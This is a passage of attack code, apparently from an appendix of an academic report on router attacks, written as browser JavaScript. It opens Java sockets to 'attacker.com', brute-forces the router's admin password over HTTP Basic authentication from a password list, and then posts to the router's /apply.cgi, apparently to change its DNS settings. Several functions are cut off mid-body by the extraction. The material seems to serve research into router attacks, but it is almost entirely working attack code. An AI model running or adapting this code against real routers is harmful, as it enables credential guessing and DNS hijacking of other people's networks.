function startAttack() { 
 var sock = null; 
 var outstream = null; 
 var instream = null; 
 
 try { 
  sock = new java.net.Socket( "attacker.com", 80 ); 
  outstream = sock.getOutputStream(); 
  instream = sock.getInputStream(); 
 } catch( e ) { 
  document.write("Cannot connect to attacker.com on port 
80.<br />"); 
  document.write("<br />" + e.toString() + "<br />"); 
  document.write("IP address associated to attacker.com is " 
+ sock.getInetAddress().getHostAddress() + "<br />"); 
  return; 
 } 
  
 //port is open 
 document.write("IP address associated to attacker.com is " + 
sock.getInetAddress().getHostAddress() + "<br />"); 
  
 var response = 0; 
 var success = false; 
 var k=0; 
 for(k=0; k<passwords.length; k++) { 
  sendRequest(outstream, passwords[k]); 
112 
 
  if(handleResponse(instream)) { 
   document.write("found password!!! passwords is: " + 
passwords[k] + "<br />"); 
   success = true; 
   break;  //break if it is successful 
  } else { 
   //Re-create socket connection 
   try { 
    sock.close(); 
    sock = new java.net.Socket( "attacker.com", 80 
); 
    outstream = sock.getOutputStream(); 
    instream = sock.getInputStream(); 
   } catch( e ) { 
    document.write("Cannot re-connect to 
attacker.com<br />"); 
    document.write("<br />" + e.toString() + "<br 
/>"); 
    return; 
   } 
  } 
 } 
 
 if(success) { 
 //send the attack payload 
  //Re-create socket connection 
  try { 
   sock.close(); 
   sock = new java.net.Socket( "attacker.com", 80 ); 
   outstream = sock.getOutputStream(); 
   instream = sock.getInputStream(); 
  } catch( e ) { 
   document.write("Cannot re-connect to attacker.com<br 
/>"); 
   document.write("<br />" + e.toString() + "<br />"); 
   return; 
  } 
  sendAttack(outstream, passwords[k]); 
  if(handleResponse(instream)) { 
   document.write("Attack payload successful!!!<br />"); 
  } else { 
   document.write("Invalid or no attack payload 
response.<br />"); 
  } 
 } else { 






function sendRequest( outs, password ) { 
  




 var attackBuffer = ''; 
 attackBuffer += 'GET / HTTP/1.1\r\n'; 
 attackBuffer += 'Authorization: Basic ' + encodeBase64("admin:" + 
password) + '\r\n'; 
 attackBuffer += '\r\n'; 
 
 var attackBytes = new Array(attackBuffer.length);  
 var i = 0; 
  
 //converts string into byte array 
 for(i = 0; i < attackBuffer.length; i++) { 
  attackBytes[i] = attackBuffer.charCodeAt(i); 
 } 
 
 try { 
  outs.write(attackBytes); 
  outs.flush(); 
 } catch(e) { 
  document.write("error sending attack data.<br />"); 





function handleResponse( ins ) { 
  
 try { 
  var buf = ''; 
  var byte = 0; 
 
  while( (byte = ins.read()) != -1 ) { 
   if(byte == 0) { 
    document.write("failed<br />"); 
    return false; 
   } 
   buf += String.fromCharCode(byte); 
  } 
  
 } catch( e ) { 
  document.write("error handling response<br />"); 
  return false; 
 } 
 
 //determine if it is a valid response (200) 
 var location = buf.indexOf(" "); 
 var responseCode = buf.substring(location + 1, location + 4); 
  
 document.write("response code: " + responseCode + "<br />"); 
 
 if(responseCode == "200") { 
  return true; 
 } else { 







function sendAttack( outs, password ) { 
  
 document.write("attack payload - "); 
  
 var attackBuffer = ''; 
 attackBuffer += 'POST /apply.cgi HTTP/1.1\r\n'; 
 attackBuffer += 'Accept: image/gif, image/jpeg, image/pjpeg, 
image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, 
application/msword, application/x-ms-application, application/x-ms-
xbap, application/vnd.ms-xpsdocument, application/xaml+xml, 
application/x-shockwave-flash, */*\r\n'; 
 attackBuffer += 'Referer: http://192.168.2.1/apply.cgi\r\n'; 
 attackBuffer += 'Accept-Language: en-us\r\n'; 
 attackBuffer += 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; 
Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; 
.NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; 
.NET CLR 3.5.30729)\r\n'; 
 attackBuffer += 'Content-Type: application/x-www-form-
urlencoded\r\n'; 
 attackBuffer += 'Accept-Encoding: gzip, deflate\r\n'; 
 attackBuffer += 'Host: 192.168.2.1\r\n'; 
 attackBuffer += 'Content-Length: 651\r\n'; 
 attackBuffer += 'Proxy-Connection: Keep-Alive\r\n'; 
 attackBuffer += 'Pragma: no-cache\r\n'; 
 attackBuffer += 'Authorization: Basic ' + encodeBase64("admin:" + 
password) + '\r\n'; 
 attackBuffer += '\r\n'; 












 var attackBytes = new Array(attackBuffer.length);  
 var i = 0; 
  
 //converts string into byte array 
 for(i = 0; i < attackBuffer.length; i++) { 
  attackBytes[i] = attackBuffer.charCodeAt(i); 
 } 
 
 try { 
  outs.write(attackBytes); 
  outs.flush(); 
 } catch(e) { 
  document.write("error sending attack data.<br />"); 












    var start = new Date().getTime(); 
    while (new Date().getTime() < start + delay); 
} 
 
/*******************************  BASE64 Conversions 
*******************************/ 
var END_OF_INPUT = -1; 
 
var base64Chars = new Array( 
    'A','B','C','D','E','F','G','H', 
    'I','J','K','L','M','N','O','P', 
    'Q','R','S','T','U','V','W','X', 
    'Y','Z','a','b','c','d','e','f', 
    'g','h','i','j','k','l','m','n', 
    'o','p','q','r','s','t','u','v', 
    'w','x','y','z','0','1','2','3', 







    base64Str = str; 
    base64Count = 0; 
} 
function readBase64(){     
    if (!base64Str) return END_OF_INPUT; 
    if (base64Count >= base64Str.length) return END_OF_INPUT; 
    var c = base64Str.charCodeAt(base64Count) & 0xff; 
    base64Count++; 
    return c; 
} 
function encodeBase64(str){ 
    setBase64Str(str); 
    var result = ''; 
    var inBuffer = new Array(3); 
    var lineCount = 0; 
    var done = false; 
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){ 
        inBuffer[1] = readBase64(); 
        inBuffer[2] = readBase64(); 
        result += (base64Chars[ inBuffer[0] >> 2 ]); 
        if (inBuffer[1] != END_OF_INPUT){ 
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | 
(inBuffer[1] >> 4) ]); 
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            if (inBuffer[2] != END_OF_INPUT){ 
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | 
(inBuffer[2] >> 6) ]); 
                result += (base64Chars [inBuffer[2] & 0x3F]); 
            } else { 
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]); 
                result += ('='); 
                done = true; 
            } 
        } else { 
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]); 
            result += ('='); 
            result += ('='); 
            done = true; 
        } 
        lineCount += 4; 
        if (lineCount >= 76){ 
            result += ('\n'); 
            lineCount = 0; 
        } 
    } 










document.write("Java Router Attack!<br /><br />"); 
alert("change dns now..."); 



















Appendix K.  
 
Figure K.1: Full Size Diagram of Attack Scenario 
